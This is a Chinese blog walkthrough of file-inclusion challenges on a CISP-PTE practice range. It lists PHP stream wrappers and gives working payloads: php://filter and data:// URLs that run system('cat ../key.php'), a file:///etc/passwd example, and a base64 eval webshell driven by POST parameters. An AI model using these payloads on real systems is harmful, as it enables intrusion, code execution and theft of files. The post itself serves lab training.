zoukankan      html  css  js  c++  java
  • cisp-pte靶场通关思路分享----文件包含篇

    文件包含漏洞利用的前提:

    1. web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入;
    2. 用户能够控制包含文件的参数,被包含的文件可被当前页面访问。

    伪协议文件包含:

    • file:// 访问本地文件系统
    • http(s):// 访问 HTTPs 网址
    • ftp:// 访问 ftp URL
    • php:// 访问输入/输出流
    • Zlib:// 压缩流
    • Data:// 数据
    • Ssh2:// security shell2
    • Expect:// 处理交互式的流
    • Glob:// 查找匹配的文件路径
    • phar:// PHP归档
    • rar:// RAR
    • ogg:// 音频流

    常用伪协议讲解:

    1. file://

    (1)这个协议可以展现本地文件系统,默认目录是当前的工作目录。

    (2)例如:file:///etc/passwd、file://key.txt

    2. php://

    (1) php://input是个可以访问请求的原始数据的只读流,可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。

    (2) php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。

    3、phar://

    (1)phar://数据流包装器自PHP5.3.0起开始有效

    (2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt

    phar://1.zip/phpinfo.txt

    伪协议利用方式小总结:

    靶场一:

    文件包含在这个靶场里主要考察伪协议:想了解更多的自行问度娘,这里只说解题思路。

     构造payload

    http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/read=convert.base64-encode/resource=../key.php或者

    http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=../key.php

    解密即可拿到key。

    还有date协议在这里也可以用: 

    data:text/plain,<?php system(whoami)?>

    构造payload:

    http://192.168.43.99:8083/vulnerabilities/fu1.php?file=data:text/plain,%3C?php%20system(%27cat%20../key.php%27)?%3E


    靶场二:

    查看view.html源码可知是里面的参数

    W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=解密为

    [@eval(base64_decode($_POST[z0]));]一个一句话木马

    有两种解题的思路:一种直接连接这个一句话木马,只能用Cknife,还有一种直接传参读文件。

    解法一:

    修改config.ini文件为:

    ACTION=z0PHP_MAKE=http://192.168.43.72:83/start/index.php?file=view.html

    密码Hello=0

     

    解法二: 

    首先把这串字符串通过base64解码可得[@eval(base64_decode($_POST[z0]));]

    发现POST参数decode后用eval函数执行,所以构造payload:Hello=123&z0=system('cat ../key.php');
    再进行base64加密最后:Hello=123&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
    获取key:

     

    至此文件包含的两套靶场就成功拿下来,确实学到了很多知识。 

  • 相关阅读:
    c#透明TextBox
    Twitter的分布式自增ID算法snowflake(雪花算法)
    关于权限设计的一点建议
    关于下载地址权限控制的一点问题解决方法
    数据结构_总结
    输出全排列输出
    数据结构_图总结
    n个括号对的所有可能情况
    根据表达式序列(前缀、中缀、后缀)构建表达式树
    Java finally语句是在try或catch的retrurn之前还是之后执行
  • 原文地址:https://www.cnblogs.com/xyz315/p/14869894.html
Copyright © 2011-2022 走看看